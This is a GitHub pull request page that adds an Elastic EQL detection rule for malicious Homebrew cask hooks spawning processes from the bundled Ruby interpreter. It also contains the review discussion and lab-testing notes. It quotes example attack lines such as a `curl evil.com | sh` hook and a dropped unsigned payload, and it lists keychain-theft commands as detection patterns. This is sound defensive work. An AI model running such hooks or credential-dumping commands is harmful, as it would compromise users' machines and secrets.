Repository navigation
[New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter - #6620
Conversation
Detects an unexpected child process of Homebrew's bundled Ruby interpreter (vendor/portable-ruby) during a cask install, catching preflight/postflight/uninstall hook abuse in a malicious or compromised cask. Validated against real Elastic Defend telemetry on macOS, including a fresh re-test today: a real cask postflight hook event was captured, and the exclusion list was corrected after real testing showed Homebrew's own environment/requirement-check utilities (bash/sh, getconf, mdfind, pkgutil, xcode-select) run as direct children of the interpreter on every invocation regardless of HOMEBREW_NO_AUTO_UPDATE/HOMEBREW_NO_ANALYTICS. Re-confirmed live via _eql/search that the real hook event still matches and this noise no longer does. Relates to elastic#6617
Set maturity = production so the rule is actually shipped to the product, per maintainer feedback on elastic#6612. Promoting it surfaced one check the repo's test suite only applies to production rules: added timestamp_override = "event.ingested", required for non-sequence EQL/KQL rules by TestRuleTiming::test_event_override. Verified with detection_rules validate-rule and the production-gated checks in the repo's test suite.
…tives, setup, references - Trimmed the description to the rule itself, dropping the comparison against the package-manager meta-rule. - Rewrote false_positives. The previous entries described how the exclusion list was built and which utilities do not match, which is development history rather than false positives. They now describe traffic that does match and can be benign: an unlisted Homebrew utility, app-artifact casks, and formula source builds. - Replaced the setup block with the standard Elastic Defend text. - Added threat context references for macOS campaigns targeting Homebrew users with infostealers.
|
Applying the points from the #6612 review here as well.
Both scope limits are real and worth stating plainly. The exclusion list was measured against The description no longer compares this rule against the package-manager ancestry meta-rule, |
| process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and | ||
| not process.name in ( | ||
| "env", "xattr", "chmod", "chown", "tar", "bsdtar", "ln", "hdiutil", "xargs", "defaults", "clang", "sysctl", | ||
| "bash", "sh", "getconf", "mdfind", "pkgutil", "xcode-select" |
There was a problem hiding this comment.
A malicious cask that routes through bash -c which is the standard approach is completely invisible.
Instead of excluding bash and sh why don't we consider
and not (process.name in~ ("bash", "sh") and
process.command_line like~ ("getconf", "xcode-select", "mdfind", "pkgutil"))
This wasy bash -c "curl evil.com | sh" alerts and Homebrew's own bash -c "getconf DARWIN_USER_TEMP_DIR" still matches the exclusion and it doesn't alert.
There was a problem hiding this comment.
Done. Removed bash and sh from the name exclusion and added a command-line-scoped clause: they are excluded only when the command line names a Homebrew helper (getconf, xcode-select, mdfind, pkgutil). Verified on real captured telemetry through an EQL engine: a bash -c "curl ... | sh" hook and a bash -c "osascript ..." hook now match, while Homebrew's own bash -c "getconf ..." and sh -c "xcode-select ..." probes stay excluded. The hook's parent was confirmed to be portable-ruby by a diagnostic hook that recorded its own parent.
| process where event.action == "exec" and host.os.type == "macos" and | ||
| process.parent.executable like~ "*/Homebrew/vendor/portable-ruby/*" and | ||
| not process.name in ( | ||
| "env", "xattr", "chmod", "chown", "tar", "bsdtar", "ln", "hdiutil", "xargs", "defaults", "clang", "sysctl", |
There was a problem hiding this comment.
If clang genuinely fires during clean binary-artifact cask installs, that should be documented.
There was a problem hiding this comment.
Measured this: on a binary-artifact cask install, clang did not appear as a child of portable-ruby (the direct children were sysctl, tput, env and bsdtar). It stays in the exclusion list conservatively because formula-adjacent paths can invoke it, and the rule is scoped to binary-artifact casks. Noted in false_positives.
| [rule] | ||
| author = ["clivoa"] | ||
| description = """ | ||
| This rule detects an unexpected child process spawned by Homebrew's own bundled Ruby interpreter |
There was a problem hiding this comment.
This rule detects an unexpected child process spawned by Homebrew's own bundled Ruby interpreter
(vendor/portable-ruby) during a brew install --cask operation for binary-artifact casks.
There was a problem hiding this comment.
Done in e45718f: the description now reads "for a binary-artifact cask".
| """ | ||
| false_positives = [ | ||
| """ | ||
| Homebrew's own internal package-management work runs as children of the same bundled Ruby interpreter and is |
There was a problem hiding this comment.
On worthy note is app-artifact cask environments require additional tuning per user environment before production use.
There was a problem hiding this comment.
Kept, and stated more explicitly in false_positives: app-artifact casks invoke Gatekeeper and registration tooling and need per-environment tuning before broad deployment. The rule stays scoped to binary-artifact casks.
|
|
||
| - See this rule's `false_positives` field: `app`-artifact casks are expected to trigger this on their own normal | ||
| Gatekeeper/registration steps until the exclusion list is extended with real measured data; formula (non-cask) | ||
| builds are out of scope entirely and not covered by this rule's exclusion list. |
There was a problem hiding this comment.
Investigation guide is missing a Response and remediation section.
There was a problem hiding this comment.
Added a Response and remediation section to the investigation guide in e45718f.
…ew helper command lines, add Response and remediation, scope to binary-artifact casks
|
@shashank-elastic thanks, this was the right call. Addressed in e45718f, with a real measurement behind the query change. I could not enroll Elastic Defend on the test Mac over SSH (the two GUI consent steps), so I captured exec telemetry with What I measured, installing a local binary-artifact cask with a
Changes:
On |
|
Hi @clivoa, I’m picking up this PR now. Did you consider an inclusion-based approach rather than an exclusion-based one? I was thinking of something like this to reduce false positives (it's just an idea) What do you think? |
|
@litemars I tried the inclusion approach, measured it, and switched the rule to it in 9362927. The measurement also showed that the current exclusion-based query is far too noisy on Homebrew 7.0.9, so this is the better direction. How I tested: macOS 26.6.2 (arm64), Homebrew 7.0.9. I captured exec and fork events for the whole session with
Changes from your draft, each driven by the capture:
The trade-off is what you'd expect from an inclusion list. A correction to my previous reply: I said portable-ruby's direct children on a cask install were only One more data point: Homebrew 7.0.9 prints "Calling Setup now uses the standard macOS block, same as #6621. Full test suite passes on the branch merged with main (460 passed, 1 skipped). |
There was a problem hiding this comment.
🟡 Changes recommended
Remediation can execute malicious cask hooks again, while the broad portable-ruby exception allows unsigned payloads to evade detection.
3 open issues
What changed in this PR
Adds macOS detection coverage for suspicious child processes of Homebrew’s bundled Ruby interpreter, addressing the install-time hook abuse scenario discussed in #6617.
Changes:
- Introduces an Elastic Defend EQL rule scoped to Homebrew install, reinstall, and upgrade operations.
- Uses an inclusion list of suspicious tools, command patterns, execution paths, and code-signing conditions.
- Provides investigation guidance, false-positive considerations, setup instructions, and MITRE ATT&CK mappings.
| File | Description |
|---|---|
rules/macos/execution_homebrew_cask_suspicious_hook_child_process.toml |
Adds the Homebrew child-process detection rule and supporting analyst guidance. |
Review effort: Balanced
| - Capture the full process tree and command lines before the Caskroom is modified further, then remove the cask | ||
| with `brew uninstall --cask` and remove or disable the tap it came from. |
There was a problem hiding this comment.
Agreed, and confirmed on Homebrew 7.0.11: a test cask's uninstall_postflight block ran /usr/bin/id -un during brew uninstall --cask. In f9089b9 the response section says not to run brew uninstall or reinstall on the suspect cask, to preserve the cask file, and to remove the artifacts, the Caskroom directory and the tap with file system tools on an isolated host.
| "*sqlite3*")) or | ||
| process.executable like~ ("/tmp/*", "/private/tmp/*", "/var/folders/*", "/private/var/folders/*", "/Users/Shared/*") or | ||
| ((process.code_signature.trusted == false or process.code_signature.exists == false) and | ||
| not process.executable like~ "*/Homebrew/vendor/portable-ruby/*") |
There was a problem hiding this comment.
Fixed in f9089b9: the exclusion is now */Homebrew/vendor/portable-ruby/*/bin/ruby. I tested it with a cask whose postflight copied an ad-hoc signed binary to vendor/portable-ruby/w27payload and ran it. The old exclusion hid it, the new one matches it, and across the earlier capture (10 test casks and 4 real casks) the only unsigned executable under that tree was 4.0.7/bin/ruby, so nothing new matches.
| (process.name == "security" and | ||
| process.args in ("find-generic-password", "find-internet-password", "dump-keychain", "export")) or | ||
| (process.name == "dscl" and process.args == "-authonly") or | ||
| (process.name in ("bash", "sh", "zsh", "dash") and process.args == "-c" and |
There was a problem hiding this comment.
Fixed in f9089b9 with process.args regex "-[a-zA-Z]*c[a-zA-Z]*". Hooks running /bin/bash -xc 'curl ... | sh' and /bin/zsh -lc "osascript ..." both match now. The Homebrew curl shim (bash -p .../shims/shared/curl) still does not, and no argument in its 84 captured runs fits the pattern.
The shell clause now accepts grouped options such as -xc and -lc, and the untrusted-binary exclusion covers only Homebrew's own vendor/portable-ruby/<version>/bin/ruby instead of the whole directory. The response section no longer recommends brew uninstall, which evaluates the cask again and runs its uninstall hooks. Adds the Platform and Rule Type tags and aligns the dates with the PR.
…ess.toml Co-authored-by: Bryan Porras <bryan.porras@elastic.co>


Summary
Adds a new detection rule: Suspicious Child Process of Homebrew's Bundled Ruby Interpreter (
rules/macos/execution_homebrew_cask_suspicious_hook_child_process.toml).Update 2026-10-31: after review the rule moved from excluding Homebrew's own children to an inclusion list of what a malicious hook would run, and it was renamed to match. The measurements behind that change are in the review thread. The validation section below describes the original exclusion-based version.
Update 2026-10-31, second round: the shell clause now accepts grouped options (
-xc,-lc), the untrusted-binary exclusion covers only Homebrew'svendor/portable-ruby/<version>/bin/ruby, and the response section no longer recommendsbrew uninstall. Measured on macOS 26.6.2 (arm64), Homebrew 7.0.11, witheslogger exec forkreplayed through_eql/search: hooks running/bin/bash -xc 'curl ... | sh'and/bin/zsh -lc "osascript ..."and an ad-hoc signed payload copied intovendor/portable-ruby/all match (the previous query caught only theosascriptprocess that thezsh -lcshell executes into); a benign cask and the realrectanglecask, installed and uninstalled, produce no match; and the earlier test-cask capture still gives the same 14 matches and no new ones. A test cask'suninstall_postflightblock ran duringbrew uninstall --cask, which is why the remediation changed.Relates to #6617, the discussion issue for this rule, opened per CONTRIBUTING.md's issue-first process. Not closing it with this PR since the maintainer conversation there may still be ongoing.
What it detects and why
An unexpected child process of Homebrew's bundled Ruby interpreter (
vendor/portable-ruby) during abrew install --caskoperation. Homebrew Caskpreflight/postflight/uninstallstanzas run arbitrary Ruby code, including shelling out, at install time. A malicious or compromised cask can use this to execute code with the installing user's privileges.Checked for overlap with existing rules before building: Homebrew is macOS's dominant developer package manager and had zero coverage in
elastic/detection-rulesprior to this rule, including no representation in the existing cross-platform package-manager ancestor meta-rule (344e6c7d-ceb0-4f20-ba04-7c75569a7e38), which only recognizes npm/pip/cargo. This is the macOS analogue of the same install-time-hook-abuse pattern already covered for npm/Composer/pip elsewhere in this ruleset.Data source / MITRE mapping
logs-endpoint.events.process*), macOS onlyValidation performed
Real lab testing against a live Elastic Defend deployment on macOS, including a fresh re-test today (2026-08-07):
postflightblock that shells out, and captured the real resulting event live (see redacted example in [New Rule] Suspicious Child Process of Homebrew's Bundled Ruby Interpreter #6617).bash/sh,getconf,mdfind,pkgutil,xcode-select) as direct children of the interpreter on every invocation, regardless ofHOMEBREW_NO_AUTO_UPDATE/HOMEBREW_NO_ANALYTICS. An earlier pass had incorrectly attributed this noise solely to those settings. Re-confirmed live via_eql/searchthat the real hook event still matches and this real noise no longer does (0 false positives across 16 distinct legitimate process names observed in one ordinary install).False positives / noise level
Documented in
false_positives: this rule is scoped and tested againstbinary-artifact casks only.app-artifact casks (likely need Gatekeeper-tooling exclusions such ascodesign/spctl/mdimport/lsregister, not yet measured) and formula (non-cask) source builds (measured to have a much wider legitimate child-process baseline) are explicitly disclosed as out of scope rather than silently assumed covered.Checklist (per CONTRIBUTING.md)
python -m detection_rules validate-rulepasses locally against this repo's own currentmainfalse_positivesand noise-level expectations documented, including disclosed untested cases (app-artifact casks, formula builds)notefield: triage steps, false-positive analysis, response/remediation) included